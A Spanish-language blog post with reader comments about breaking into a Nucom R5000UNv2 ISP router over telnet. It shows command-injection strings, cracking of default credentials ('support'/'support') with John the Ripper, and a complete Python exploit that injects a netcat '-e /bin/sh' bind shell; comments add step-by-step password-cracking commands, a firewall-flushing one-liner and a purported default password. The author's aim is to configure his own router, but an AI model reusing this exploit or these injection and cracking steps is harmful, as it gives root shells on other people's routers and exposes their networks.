domingo, 19 de mayo de 2013

Hackeando Nucom R5000UNv2

Hace un par de días, nuestro ISP nos cambió el modem/router por otro modelo más "adecuado" al plan de servicio que tenemos contratado. El anterior router que teníamos era un bonito porta retratos blanco marca Huawei que, aunque no fuera lo mejorcito, ya lo tenía configurado a mi gusto: puertos cerrados, DMZ, QoS, etc. Así que ahora tocaba volver a meter mano a todo.

El nuevo modelo de router que tenemos es un Nucom R5000UNv2 de color blanco y con dos antenas wifi como el de la imagen. Al inicio me dio una buena impresión.
 
Fig. Nucom R5000UN v2

Sin embargo, al intentar configurarlo por la interface web, comenzó a darme muchos problemas. Para empezar cada vez que clickeaba una opción tiraba una pantalla de error "400 Bad Request" y era necesario dar varias veces click a lo mismo para que, con algo de suerte, aparezca el formulario de la dichosa opción y si era una opción dentro de otra, había que repetir todo el proceso. Luego cuando todo salía bien y lograba terminar la configuración sin errores, los cambios simplemente parecían no funcionar.

Por ello, se me ocurrio intentar configurar este nuevo cacharro por telnet.

Previamente le había realizado un scaneo con nmap y saltaron varios puertos abiertos: ftp, smb, upnp, web, telnet y otros raros. Pero nmap también lo identifico como un dispositivo Linux.

Ya conectado por telnet, lo primero que hice fue listar los comandos disponibles con "help". Salieron muchos, pero entre ellos algunos viejos conocidos.

Fig. 2 - Listado de comandos disponibles.

Esto reforzó la sospecha de que el dichoso aparato funcionaba con Linux. Y ya con esa idea en mente intenté ejecutar un comando básico: "ls". Pero no funcionó.

Fig. 3 - Comando "ls" no reconocido.

Por otra parte, el comando "pwd", que sí estaba en la lista, funcionaba normalmente. Entonces se me ocurrio ejecutar lo siguiente: "pwd & ls". Ese es un viejo truco para inyectar comandos en linux. El operador "&" indica que se ejecuten ambos comandos a la vez.

Entonces lo inesperado, sucedió:

Fig. 4 - Inyección del comando "ls".

Nota: Otras formas de inyectar comandos en linux son: "pwd ; ls", "pwd $(ls)" y "pwd `ls`".

Ya con la posibilidad de ejecutar comandos arbitrarios sobre el SO del dispositivo, las posibilidades eran muchas.

Lo primero que hice fue listar el fichero "/etc/passwd". Así encontré otros usuarios por defecto. Además de admin, estaban: support, user y nobody. Luego de pasarlos por john the ripper obtuve que el password de "support" y "user" es el mismo nombre de usuario.

Ya luego me puse a revisar otros archivos para buscar configuraciones o características del sistema. El aparato usa un procesador "Broadcom4350 V7.5" y tiene 60 MB de memoria. Además corre un "Linux 2.6.30". Buscando un poco más encontré que tiene instalado "netcat" y "wget". Lo más curioso es que el netcat que trae la opción "-e" que se usa generalmente para dejar "backdoors" xD

Y ya que nos dejan todo tan fácil, programé un exploit en python para ganar una shell y tener mayor comodidad.

#!/bin/python
'''
Nucom R5000UNv2 Exploit
Created on 17/05/2013
http://alguienenlafisi.blogspot.com

@author: Alguien
'''

import socket
import time
import subprocess

CONFIG = {
          "host": "192.168.1.1",
          "port": 23,
          "default_user": "support",
          "default_pass": "support",
          "bind_port": 2323
          }

def exploit():
    print "[+] Connecting to host..."
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    addr = (CONFIG["host"], CONFIG["port"])
    s.connect(addr)
    
    print "[+] Logging in service..."
    s.send("%s\n" % CONFIG["default_user"])
    time.sleep(1)
    s.send("%s\n" % CONFIG["default_pass"])
    time.sleep(1)
    
    print "[+] Exploiting... };)"
    s.send("pwd & /usr/bin/nc -e /bin/sh -l -p %d &\n" % CONFIG["bind_port"])
    time.sleep(1)
    s.send("quit\n")
    s.close()
    
    print "[+] Trying connect to shell..."
    subprocess.call(["nc", "-v", CONFIG["host"], "%s" % CONFIG["bind_port"]])

if __name__ == '__main__':
    exploit()

Fig. 5 - Exploit Nucom R5000UNv2

¿Y la configuración del router? Bueno, también trae instalado iptables, así que con eso me las arreglé para cerrar los puertos y hacer NAT.

Eso es todo por lo pronto.

Un saludo.

32 comentarios:

  1. Excelente entrada muy curiosa.

    Saludos desde Colombia

    Andres

    ResponderEliminar
  2. Interesante, una consulta en este Moden se puede configurar para un ruteo puro ? tengo un pool de 8 ips y e intentado configurarlo, pero no me deja me sale un mensaje de error. e intentado desactivar el dhcp y configurar en lan: la puerta de enlace la ip global que tengo. seria bueno si me podrias ayudar gracias

    ResponderEliminar
  3. Gracias amigo me sirvio de muchooo

    ResponderEliminar
  4. Hola.
    Seré directo.
    Necesito los datos de la etiqueta que tiene el router al reverso.
    "¿para que?"
    Estoy haciendo una especie de diccionario, para este router, pero necesito mas fuentes
    hasta ahora solo tengo los datos de 4 router de ese mismo modelo.

    Necesito:
    SSID (etiqueta)
    Password por defecto (etiqueta)
    MAC address

    Si puedes, agrégame kami-0h@hot...

    ResponderEliminar
  5. amigo soy de peru necesito algunas ayudas sobre ese router . agregame : wifinet_peru@hotmail.com para compartir ideas.

    ResponderEliminar
  6. Hola... y sabes como si es posible habilitar el "DHCP relay"?? no he encontrado ninguna opcion en la administracion via GUI/Web

    ResponderEliminar
  7. Hola, el busybox trae un servidor DHCP llamado "udhcp", su fichero de configuración esta en "/etc/udhcpd.conf". Toca revisar la documentación de udhcp para configurarlo como DHCP relay (si es que lo soporta).

    Un saludo.

    ResponderEliminar
  8. Hola Alguien

    Esta Muy Interesante tu Blog

    Hace Un Tiempo Atras Pude Adquirir Uno de Estos Router, La Particularidad de Estos a Otros Modelos es que estos traen un puerto USB Mediante el Cual Podemos Compartir Nuestro Pendrive, En Este Modelo en Especifico Podemos Tambien Compartir Una Carpeta.

    Por Las Cosas de la Vida Tuve Que Vender Este Router y Ahora Timofonica Me Trajo Un Router ZTE H108N, Este Tambien Tiene Puerto USB, Pero Lo Lamentable es que No Puedo Compartir Una Carpeta en Especifico.

    Me he Hecho de Un Cable TTL y he Podido Entrar al Terminal Mediante Putty, y he estado Checando Lo que Trae, en fin es Similar al Nucom.


    En La Carpeta etc/samba , esta el archivo de configuracion (smb.conf) pero al querer copiarlo a mi USB (para poder editarlo) No me Deja (Me Sale Read-only file system) lo cual quiere decir que es solo de lectura, ya probe con chmod 777 samba y sucede lo mismo.

    Necesito Una Ayuda Para Poder Editar Este Archivo

    He podido Modificar y Reemplazar el smb.conf que esta en la ruta /var , pero al Apagar el Router Vuelve ala configuracion Original.

    De Antemano Agradesco Alguna Ayuda que me Puedas Brindar

    Mi Mail es:

    robo_z00@hotmail.com


    Saludos desde Juliaca



    ResponderEliminar
  9. Hola alguien, ayudamos a desinstalar o deshabilitar el "netcat" y "wget". Ademas si has podido cambiar el password de http://192.168.1.1:8000 user: admin password :1234, que había sido otro modo de configurar el modem. PORQUE ES TB FALTA DE SEGURIDAD.

    ResponderEliminar
  10. Hola amigo, interesante informacion.
    No conozco mucho de esto, asi que disculpa de antemano la ignorancia.
    Pregunta: sabes como se puede configurar el VPN en este router?
    Lei que el OpenVPN es el mejor. Sabes si este router lo soporta?
    Gracias!
    Tango

    ResponderEliminar
  11. Hola amigo hace poco me cambiaron el router que tenia Zyxel por este Numcom y pues con el router Zyxel podia limitar el Media Bandwidth Management pero en este router no logro ubicar algo que se paresca, crees que haya otra forma de limitar el ancho de banda configurando directamente en el router??
    Saludos

    ResponderEliminar
  12. Hola Amigo alguien?

    Me puedes enseñar a hackear? veo que eres un juacker de ruters.

    Nox.

    ResponderEliminar
  13. @&~*#()<>xdbgyyzor@&^%*!#### ese el el password que aparece para losussuarios por defecto al menos al usar inspeccionara elemento y cambiar "password" por "text¨" , en españa usan ese router tambien y timofonica te da el soporte ingresando remotamente,al parecer ese esel motivo del backdoor,aqui tambien lo hacen pero no dan soporte,ademans ya encontraron un bug para bypassear el acceso sin ingresar password alguno ,pero supuestamente funciona solo en red local,

    ResponderEliminar
  14. una consulta quisiera saber como se configura como nat

    ResponderEliminar
  15. Yo lo hice con un script para configurar iptables:
    (suponiendo que 192.168.1.2 es tu IP)

    -- fw.sh --
    #!/bin/sh

    iptables=/bin/iptables

    # BORRAR CONFIGURACION ACTUAL
    $iptables -t filter -F
    $iptables -t nat -F
    $iptables -t mangle -F

    $iptables -t filter -X
    $iptables -t nat -X
    $iptables -t mangle -X

    $iptables -t filter -Z
    $iptables -t nat -Z
    $iptables -t mangle -Z

    # POLITICAS POR DEFECTO
    $iptables -P INPUT DROP
    $iptables -P OUTPUT ACCEPT
    $iptables -P FORWARD ACCEPT


    # DEFINIR REGLAS

    # permitir todo desde localhost
    $iptables -A INPUT -i lo -j ACCEPT

    # permitir conexiones establecidas
    $iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

    # permitir trafico DHCP
    $iptables -A INPUT -i br0 -p udp --dport 67:68 --sport 67:68 -j ACCEPT

    # dejame entrar
    $iptables -A INPUT -s 192.168.1.2 -j ACCEPT

    # natear salida a internet
    $iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -d 0.0.0.0/0 -j MASQUERADE

    # natear todo a mi maquina
    $iptables -t nat -A PREROUTING -i pppoa1 -j DNAT --to 192.168.1.2

    -- fw.sh --


    Bueno, eso lo pones en un fichero de texto y luego lo subes al router con netcat.

    (en el router)
    # cd /var/tmp
    # nc -l -p 1234 > fw.sh


    (en tu pc)
    # nc 192.168.1.1 1234 < fw.sh


    (en el router de nuevo)
    # chmod +x fw.sh
    # ./fw.sh


    Eso sería todo. Eso sí, reinicias el router y hay que volver a hacer todo xD

    Un saludo

    ResponderEliminar
    Respuestas
    1. siempre me sale al final:

      ./fw.sh: not found

      porque??

      Eliminar
    2. Es porque por alguna razón el script no se está creando.Asegúrate de que el script exista.

      # ls -la

      Debería mostrarte "fw.sh" en la salida. Quizá el script no se crea porque el directorio donde lo descargas no tiene permisos de escritura. Asegurate de estar en "/var/tmp/".

      # pwd

      (debería mostrar /var/tmp)

      Un saludo.

      Eliminar
  16. Me acaban de cambiar y justo me trajeron el nucom r5000unv2.
    Estuve buscando datos en la internet pues me lo trajeron sin manual y encontré algo curioso...
    Como viene con un puerto USB, quizas pueda usarlo como un NAS y conectarle un disco duro externo para tener mi propio server.
    Como ya estoy harto que me liquiden cuentas en mediafire y rapidshit, quizas es una mejor opcion para almacenar mis archivos y luego ofrecerlos en mi foro.
    Si tienes idea como hacerlo, sería ideal para comenzar a olvidarnos de los filehosting malagracia, pues desde el asunto de megaupload ya no hay lugar confiable donde guardar archivos.

    ResponderEliminar
  17. Buenas, tengo uno de estos nucom, pero por error le subi un firmware el cual me ha anulado el wifi, seria posible que extrajeras y compartieras el firmware original de este equipo.

    Te lo agradeceria mucho.

    Saludos

    ResponderEliminar
  18. Hola me sucedio lo mismo que Erick Dalmiro Huatuco Cespedes habra alguna posibilidad de que extraigas el firmware?

    ResponderEliminar
  19. Hola... ya son varias personas que me han pedido que extraiga el firmware y a decir verdad no tengo mucha idea de como hacerlo... he estado investigando un poco antes de responder, pero hay poco tiempo... Mil disculpas, pero por ahora no me es posible.

    Un saludo.

    ResponderEliminar
  20. Alguna manera de colocarlo a funcionar como DHCP Relay?

    ResponderEliminar
  21. Una consulta.. lei en tu post que aplicaste "John the Ripper" al file /etc/passwd .. pero las contraseñas no se guardan ahi, se guardan en /etc/shadow y además viene con permisos 540 como para que otro user aparte de root no pueda acceder... quizás yo este entendiendo mal..

    Saludos

    ResponderEliminar
  22. Hola Alexander

    Es cierto, en los sistemas UNIX/Linux actuales la contraseña cifrada se guarda en /etc/shadow. Pero no siempre fue así...

    Anteriormente la clave cifrada de los usuarios se almacenaba en /etc/passwd. Más o menos así:

    root:$1$aa$HrrF4vycfKZ2JLEeWgi9p1:0:0:root:/root:/bin/bash

    Como el fichero /etc/passwd tiene permisos de lectura para cualquier usuario, esto se consideraba inseguro. Así que para arreglar este problema se creó el fichero /etc/shadow con permisos de lectura solo para root y se pasó a almacenar las claves cifradas en dicho fichero. Además para indicarle al sistema que las claves no estan en passwd sino en shadow, en el fichero passwd, en el lugar donde antes iba la clave, se colocó un asterisco (*). Desde entonces el fichero /etc/passwd luce así:

    root:*:0:0:root:/root:/bin/bash

    Ese asterisco, le dice al sistema que la clave no está ahí y que la busque en shadow. Pero el sistema, por compatibilidad, aún sigue buscando la clave primero en passwd y luego en shadow.

    Con respecto a que se necesita ser root para leer el shadow, es cierto. Pero si te fijas en la imagen 5, verás que tengo una terminal de root. Esto no es de extrañar, pues en un sistema embebido (como es este caso) no se tiene servicios corriendo con diferentes usuarios y reglas de acceso para cada usuario... en un sistema embebido todo corre como root y ya...

    Espero haber resuelto tus dudas.

    Un saludo

    ResponderEliminar
  23. realicen la actualización con este archivo y listo tendran el router completamente a su disposición: Gan5.CT02W-B-DL-R4B020-AU.EN_upgrade

    ResponderEliminar
  24. Estimado

    Soy nuevo en este mundo y me da curiosidad averiguar que usuarios y contraseñas tiene mi equipo Nucom, he podido acceder via telnet y revisar lo que dices pero como aplico john the ripper para saber las contraseñas, en mi kali linux tengo instalado "john", pero como lo ejecuto desde el mismo kali, o tengo que pasar el archivo "passwd" a mi kali y ahi ejecutar "john"??? como podria pasarlo a mi kali??

    gracias de antemano.

    ResponderEliminar
  25. Hola Alberto... un paso a paso:

    1. Conectar por telnet al router

    telnet 192.168.1.1

    2. Acceder a la terminal de linux

    > sh

    3. Mostrar el /etc/passwd

    # cat /etc/passwd

    4. Copias lo que te sale y lo guardas en un fichero de texto "passwd.txt" en tu backtrack o kali

    5. Crackear con john the ripper

    Crackeo en modo single
    (kali) # john --single passwd.txt

    o si prefieres con un diccionario...
    (kali) # john --wordlist=/ruta/a/tu/diccionario.txt passwd.txt

    Un saludo.

    ResponderEliminar
  26. Hola Alguien;
    Mi consulta es en la administración remota, tengo activada por telnet y via web, cuando me quiere conectar remotamente, no puedo acceder para nada, o tengo que activar algo mas

    ResponderEliminar
  27. Hola, probablemente se deba a las reglas del firewall. Por defecto el Nucom trae todos los servicios cerrados desde Internet. Prueba esto:

    1. Conecta (desde la LAN) por telnet al router.
    2. Accede a la consola de linux (con el truco que se menciona en este post)
    3. Ejecuta lo siguiente:

    iptables -P INPUT ACCEPT && iptables -P OUTPUT ACCEPT && iptables -P FORWARD ACCEPT && iptables -F && iptables -X && iptables -Z

    Con eso borras todas las reglas del firewall. Pero no es permanente, al reiniciar el router las reglas volverán a cargarse.

    Una vez borradas las reglas prueba si el acceso remoto te funciona. Si te funciona, el problema es el firewall y deberás buscar una forma de deshabilitarlo (o reconfigurarlo) de forma permanente.

    Eso sí, NO te aconsejo que deshabilites el firewall y si vas a cambiar su configuración espero sepas bien lo que haces pues podrías ser víctima de ataques a tu router.

    Un saludo.

    ResponderEliminar
  28. Quisiera saber como bloqueo en este router facebook, YouTube, etc,

    ResponderEliminar